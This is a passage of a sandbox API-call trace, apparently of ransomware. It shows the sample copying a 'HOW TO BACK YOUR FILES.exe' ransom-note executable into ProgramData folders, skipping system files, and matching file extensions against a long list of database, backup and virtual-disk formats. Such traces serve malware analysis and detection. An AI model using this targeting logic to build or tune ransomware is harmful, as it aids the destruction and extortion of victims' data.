(lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="windows") returned -1 [0048.918] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="bootmgr") returned -1 [0048.918] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="temp") returned -1 [0048.918] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="pagefile.sys") returned -1 [0048.919] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="boot") returned -1 [0048.919] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="ids.txt") returned -1 [0048.919] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="ntuser.dat") returned -1 [0048.919] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="perflogs") returned -1 [0048.919] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="MSBuild") returned -1 [0048.919] lstrlenW (lpString="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned 49 [0048.919] lstrcpyW (in: lpString1=0x241e882, lpString2="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0048.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50adb8 [0048.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9e) returned 0x5226f0 [0048.919] lstrcatW (in: lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="\\" | out: lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\") returned="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\" [0048.919] lstrcatW (in: lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\HOW TO BACK YOUR FILES.exe") returned="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\HOW TO BACK YOUR FILES.exe" [0048.919] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.921] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0 [0048.921] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0048.922] ReleaseMutex (hMutex=0xec) returned 1 [0048.922] CloseHandle (hObject=0xec) returned 1 [0048.922] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Start Menu" | out: lpString1="C:\\ProgramData\\Start Menu") returned="C:\\ProgramData\\Start Menu" [0048.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528380 | out: hHeap=0x4f0000) returned 1 [0048.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50db68 | out: hHeap=0x4f0000) returned 1 [0048.922] lstrlenW (lpString="C:\\ProgramData\\Start Menu") returned 25 [0048.922] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\C83A059FA04356E76075B58AFC5EE913") returned 0xec [0048.922] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0048.922] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Start Menu" | out: lpString1="C:\\ProgramData\\Start Menu") returned="C:\\ProgramData\\Start Menu" [0048.922] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0048.922] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.922] CreateFileW (lpFileName="C:\\ProgramData\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\start menu\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0048.923] GetLastError () returned 0x0 [0048.923] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0048.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0048.923] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0048.923] CloseHandle (hObject=0xf4) returned 1 [0048.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0048.923] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0048.923] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Start Menu\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0048.924] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.924] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.924] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0048.924] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.924] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.924] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.924] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0048.924] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0048.924] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cc35f15, ftCreationTime.dwHighDateTime=0x1ca0440, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x502, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default Programs.lnk", cAlternateFileName="DEFAUL~1.LNK")) returned 1 [0048.924] lstrcmpiW (lpString1="Default Programs.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.924] lstrcmpiW (lpString1="Default Programs.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.924] lstrcmpiW (lpString1="Default Programs.lnk", lpString2=".") returned 1 [0048.924] lstrcmpiW (lpString1="Default Programs.lnk", lpString2="..") returned 1 [0048.924] lstrcmpiW (lpString1="Default Programs.lnk", lpString2="windows") returned -1 [0048.924] lstrcmpiW (lpString1="Default Programs.lnk", lpString2="bootmgr") returned 1 [0048.924] lstrcmpiW (lpString1="Default Programs.lnk", lpString2="temp") returned -1 [0048.924] lstrcmpiW (lpString1="Default Programs.lnk", lpString2="pagefile.sys") returned -1 [0048.924] lstrcpyW (in: lpString1=0x241e87c, lpString2="Default Programs.lnk" | out: lpString1="Default Programs.lnk") returned="Default Programs.lnk" [0048.925] lstrlenW (lpString="Default Programs.lnk") returned 20 [0048.925] lstrlenW (lpString="Athena865") returned 9 [0048.925] lstrcmpiW (lpString1="grams.lnk", lpString2="Athena865") returned 1 [0048.925] lstrlenW (lpString=".dll") returned 4 [0048.925] lstrcmpiW (lpString1="Default Programs.lnk", lpString2=".dll") returned 1 [0048.925] lstrlenW (lpString=".lnk") returned 4 [0048.925] lstrcmpiW (lpString1="Default Programs.lnk", lpString2=".lnk") returned 1 [0048.925] lstrlenW (lpString=".ini") returned 4 [0048.925] lstrcmpiW (lpString1="Default Programs.lnk", lpString2=".ini") returned 1 [0048.925] lstrlenW (lpString=".sys") returned 4 [0048.925] lstrcmpiW (lpString1="Default Programs.lnk", lpString2=".sys") returned 1 [0048.925] lstrlenW (lpString="Default Programs.lnk") returned 20 [0048.925] lstrlenW (lpString="bak") returned 3 [0048.925] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0048.925] lstrlenW (lpString="ba_") returned 3 [0048.925] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0048.925] lstrlenW (lpString="dbb") returned 3 [0048.925] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0048.925] lstrlenW (lpString="vmdk") returned 4 [0048.925] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0048.925] lstrlenW (lpString="rar") returned 3 [0048.925] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0048.925] lstrlenW (lpString="zip") returned 3 [0048.925] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0048.925] lstrlenW (lpString="tgz") returned 3 [0048.925] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0048.925] lstrlenW (lpString="vbox") returned 4 [0048.925] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0048.925] lstrlenW (lpString="vdi") returned 3 [0048.925] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0048.925] lstrlenW (lpString="vhd") returned 3 [0048.925] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0048.925] lstrlenW (lpString="vhdx") returned 4 [0048.925] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0048.925] lstrlenW (lpString="avhd") returned 4 [0048.925] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0048.926] lstrlenW (lpString="db") returned 2 [0048.926] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0048.926] lstrlenW (lpString="db2") returned 3 [0048.926] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0048.926] lstrlenW (lpString="db3") returned 3 [0048.926] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0048.926] lstrlenW (lpString="dbf") returned 3 [0048.926] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0048.926] lstrlenW (lpString="mdf") returned 3 [0048.926] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0048.926] lstrlenW (lpString="mdb") returned 3 [0048.926] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0048.926] lstrlenW (lpString="sql") returned 3 [0048.926] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0048.926] lstrlenW (lpString="sqlite") returned 6 [0048.926] lstrcmpiW (lpString1="ms.lnk", lpString2="sqlite") returned -1 [0048.926] lstrlenW (lpString="sqlite3") returned 7 [0048.926] lstrcmpiW (lpString1="ams.lnk", lpString2="sqlite3") returned -1 [0048.926] lstrlenW (lpString="sqlitedb") returned 8 [0048.926] lstrcmpiW (lpString1="rams.lnk", lpString2="sqlitedb") returned -1 [0048.926] lstrlenW (lpString="xml") returned 3 [0048.926] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0048.926] lstrlenW (lpString="$er") returned 3 [0048.926] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0048.926] lstrlenW (lpString="4dd") returned 3 [0048.926] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0048.926] lstrlenW (lpString="4dl") returned 3 [0048.926] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0048.926] lstrlenW (lpString="^^^") returned 3 [0048.926] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0048.926] lstrlenW (lpString="abs") returned 3 [0048.926] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0048.926] lstrlenW (lpString="abx") returned 3 [0048.926] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0048.926] lstrlenW (lpString="accdb") returned 5 [0048.926] lstrcmpiW (lpString1="s.lnk", lpString2="accdb") returned 1 [0048.927] lstrlenW (lpString="accdc") returned 5 [0048.927] lstrcmpiW (lpString1="s.lnk", lpString2="accdc") returned 1 [0048.927] lstrlenW (lpString="accde") returned 5 [0048.927] lstrcmpiW (lpString1="s.lnk", lpString2="accde") returned 1 [0048.927] lstrlenW (lpString="accdr") returned 5 [0048.927] lstrcmpiW (lpString1="s.lnk", lpString2="accdr") returned 1 [0048.927] lstrlenW (lpString="accdt") returned 5 [0048.927] lstrcmpiW (lpString1="s.lnk", lpString2="accdt") returned 1 [0048.927] lstrlenW (lpString="accdw") returned 5 [0048.927] lstrcmpiW (lpString1="s.lnk", lpString2="accdw") returned 1 [0048.927] lstrlenW (lpString="accft") returned 5 [0048.927] lstrcmpiW (lpString1="s.lnk", lpString2="accft") returned 1 [0048.927] lstrlenW (lpString="adb") returned 3 [0048.927] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0048.927] lstrlenW (lpString="adb") returned 3 [0048.927] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0048.927] lstrlenW (lpString="ade") returned 3 [0048.927] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0048.927] lstrlenW (lpString="adf") returned 3 [0048.927] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0048.927] lstrlenW (lpString="adn") returned 3 [0048.927] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0048.927] lstrlenW (lpString="adp") returned 3 [0048.927] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0048.927] lstrlenW (lpString="alf") returned 3 [0048.927] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0048.927] lstrlenW (lpString="ask") returned 3 [0048.927] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0048.927] lstrlenW (lpString="btr") returned 3 [0048.927] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0048.927] lstrlenW (lpString="cat") returned 3 [0048.927] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0048.927] lstrlenW (lpString="cdb") returned 3 [0048.927] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0048.927] lstrlenW (lpString="ckp") returned 3 [0048.927] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0048.928] lstrlenW (lpString="cma") returned 3 [0048.928] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0048.928] lstrlenW (lpString="cpd") returned 3 [0048.928] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0048.928] lstrlenW (lpString="dacpac") returned 6 [0048.928] lstrcmpiW (lpString1="ms.lnk", lpString2="dacpac") returned 1 [0048.928] lstrlenW (lpString="dad") returned 3 [0048.928] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0048.928] lstrlenW (lpString="dadiagrams") returned 10 [0048.928] lstrcmpiW (lpString1="ograms.lnk", lpString2="dadiagrams") returned 1 [0048.928] lstrlenW (lpString="daschema") returned 8 [0048.928] lstrcmpiW (lpString1="rams.lnk", lpString2="daschema") returned 1 [0048.928] lstrlenW (lpString="db-journal") returned 10 [0048.928] lstrcmpiW (lpString1="ograms.lnk", lpString2="db-journal") returned 1 [0048.928] lstrlenW (lpString="db-shm") returned 6 [0048.928] lstrcmpiW (lpString1="ms.lnk", lpString2="db-shm") returned 1 [0048.928] lstrlenW (lpString="db-wal") returned 6 [0048.928] lstrcmpiW (lpString1="ms.lnk", lpString2="db-wal") returned 1 [0048.928] lstrlenW (lpString="dbc") returned 3 [0048.928] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0048.928] lstrlenW (lpString="dbs") returned 3 [0048.928] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0048.928] lstrlenW (lpString="dbt") returned 3 [0048.928] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0048.928] lstrlenW (lpString="dbv") returned 3 [0048.928] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0048.928] lstrlenW (lpString="dbx") returned 3 [0048.928] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0048.928] lstrlenW (lpString="dcb") returned 3 [0048.928] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0048.928] lstrlenW (lpString="dct") returned 3 [0048.928] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0048.928] lstrlenW (lpString="dcx") returned 3 [0048.928] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1 [0048.928] lstrlenW (lpString="ddl") returned 3 [0048.928] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1 [0048.928] lstrlenW (lpString="dlis") returned 4 [0048.929] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1 [0048.929] lstrlenW (lpString="dp1") returned 3 [0048.929] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1 [0048.929] lstrlenW (lpString="dqy") returned 3 [0048.929] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1 [0048.929] lstrlenW (lpString="dsk") returned 3 [0048.929] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1 [0048.929] lstrlenW (lpString="dsn") returned 3 [0048.929] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1 [0048.929] lstrlenW (lpString="dtsx") returned 4 [0048.929] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1 [0048.929] lstrlenW (lpString="dxl") returned 3 [0048.929] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1 [0048.929] lstrlenW (lpString="eco") returned 3 [0048.929] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1 [0048.929] lstrlenW (lpString="ecx") returned 3 [0048.929] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1 [0048.929] lstrlenW (lpString="edb") returned 3 [0048.929] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1 [0048.929] lstrlenW (lpString="epim") returned 4 [0048.929] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1 [0048.929] lstrlenW (lpString="fcd") returned 3 [0048.929] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1 [0048.929] lstrlenW (lpString="fdb") returned 3 [0048.929] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1 [0048.929] lstrlenW (lpString="fic") returned 3 [0048.929] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1 [0048.929] lstrlenW (lpString="flexolibrary") returned 12 [0048.929] lstrcmpiW (lpString1="Programs.lnk", lpString2="flexolibrary") returned 1 [0048.929] lstrlenW (lpString="fm5") returned 3 [0048.929] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1 [0048.929] lstrlenW (lpString="fmp") returned 3 [0048.929] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1 [0048.929] lstrlenW (lpString="fmp12") returned 5 [0048.929] lstrcmpiW (lpString1="s.lnk", lpString2="fmp12") returned 1 [0048.929] lstrlenW (lpString="fmpsl") returned 5 [0048.929] lstrcmpiW (lpString1="s.lnk", lpString2="fmpsl") returned 1 [0048.929] lstrlenW (lpString="fol") returned 3 [0048.930] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1 [0048.930] lstrlenW (lpString="fp3") returned 3 [0048.930] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1 [0048.930] lstrlenW (lpString="fp4") returned 3 [0048.930] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1 [0048.930] lstrlenW (lpString="fp5") returned 3 [0048.930] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1 [0048.930] lstrlenW (lpString="fp7") returned 3 [0048.930] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1 [0048.930] lstrlenW (lpString="fpt") returned 3 [0048.930] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1 [0048.930] lstrlenW (lpString="frm") returned 3 [0048.930] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1 [0048.930] lstrlenW (lpString="gdb") returned 3 [0048.930] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0048.930] lstrlenW (lpString="gdb") returned 3 [0048.930] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0048.930] lstrlenW (lpString="grdb") returned 4 [0048.930] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1 [0048.930] lstrlenW (lpString="gwi") returned 3 [0048.930] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1 [0048.930] lstrlenW (lpString="hdb") returned 3 [0048.930] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1 [0048.930] lstrlenW (lpString="his") returned 3 [0048.930] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1 [0048.930] lstrlenW (lpString="ib") returned 2 [0048.930] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1 [0048.930] lstrlenW (lpString="idb") returned 3 [0048.930] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1 [0048.930] lstrlenW (lpString="ihx") returned 3 [0048.930] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1 [0048.930] lstrlenW (lpString="itdb") returned 4 [0048.930] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1 [0048.930] lstrlenW (lpString="itw") returned 3 [0048.930] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1 [0048.930] lstrlenW (lpString="jet") returned 3 [0048.930] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1 [0048.931] lstrlenW (lpString="jtx") returned 3 [0048.931] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1 [0048.931] lstrlenW (lpString="kdb") returned 3 [0048.931] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1 [0048.931] lstrlenW (lpString="kexi") returned 4 [0048.931] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1 [0048.931] lstrlenW (lpString="kexic") returned 5 [0048.931] lstrcmpiW (lpString1="s.lnk", lpString2="kexic") returned 1 [0048.931] lstrlenW (lpString="kexis") returned 5 [0048.931] lstrcmpiW (lpString1="s.lnk", lpString2="kexis") returned 1 [0048.931] lstrlenW (lpString="lgc") returned 3 [0048.931] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1 [0048.931] lstrlenW (lpString="lwx") returned 3 [0048.931] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1 [0048.931] lstrlenW (lpString="maf") returned 3 [0048.931] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1 [0048.931] lstrlenW (lpString="maq") returned 3 [0048.931] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1 [0048.931] lstrlenW (lpString="mar") returned 3 [0048.931] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1 [0048.931] lstrlenW (lpString="marshal") returned 7 [0048.931] lstrcmpiW (lpString1="ams.lnk", lpString2="marshal") returned -1 [0048.931] lstrlenW (lpString="mas") returned 3 [0048.931] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1 [0048.931] lstrlenW (lpString="mav") returned 3 [0048.931] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1 [0048.931] lstrlenW (lpString="maw") returned 3 [0048.931] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1 [0048.931] lstrlenW (lpString="mdbhtml") returned 7 [0048.931] lstrcmpiW (lpString1="ams.lnk", lpString2="mdbhtml") returned -1 [0048.931] lstrlenW (lpString="mdn") returned 3 [0048.931] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1 [0048.931] lstrlenW (lpString="mdt") returned 3 [0048.931] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1 [0048.931] lstrlenW (lpString="mfd") returned 3 [0048.932] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1 [0048.932] lstrlenW (lpString="mpd") returned 3 [0048.932] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1 [0048.932] lstrlenW (lpString="mrg") returned 3 [0048.932] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1 [0048.932] lstrlenW (lpString="mud") returned 3 [0048.932] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1 [0048.932] lstrlenW (lpString="mwb") returned 3 [0048.932] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1 [0048.932] lstrlenW (lpString="myd") returned 3 [0048.932] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1 [0048.932] lstrlenW (lpString="ndf") returned 3 [0048.932] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1 [0048.932] lstrlenW (lpString="nnt") returned 3 [0048.932] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1 [0048.932] lstrlenW (lpString="nrmlib") returned 6 [0048.932] lstrcmpiW (lpString1="ms.lnk", lpString2="nrmlib") returned -1 [0048.932] lstrlenW (lpString="ns2") returned 3 [0048.932] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1 [0048.932] lstrlenW (lpString="ns3") returned 3 [0048.932] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1 [0048.932] lstrlenW (lpString="ns4") returned 3 [0048.932] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1 [0048.932] lstrlenW (lpString="nsf") returned 3 [0048.932] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1 [0048.932] lstrlenW (lpString="nv") returned 2 [0048.932] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1 [0048.932] lstrlenW (lpString="nv2") returned 3 [0048.932] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1 [0048.932] lstrlenW (lpString="nwdb") returned 4 [0048.932] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1 [0048.932] lstrlenW (lpString="nyf") returned 3 [0048.932] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1 [0048.932] lstrlenW (lpString="odb") returned 3 [0048.932] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0048.932] lstrlenW (lpString="odb") returned 3 [0048.932] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0048.933] lstrlenW (lpString="oqy") returned 3 [0048.933] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1 [0048.933] lstrlenW (lpString="ora") returned 3 [0048.933] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1 [0048.933] lstrlenW (lpString="orx") returned 3 [0048.933] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1 [0048.933] lstrlenW (lpString="owc") returned 3 [0048.933] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1 [0048.933] lstrlenW (lpString="p96") returned 3 [0048.933] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1 [0048.933] lstrlenW (lpString="p97") returned 3 [0048.933] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1 [0048.933] lstrlenW (lpString="pan") returned 3 [0048.933] lstrcmpiW (lpString1="lnk", lpString2="pan") returned 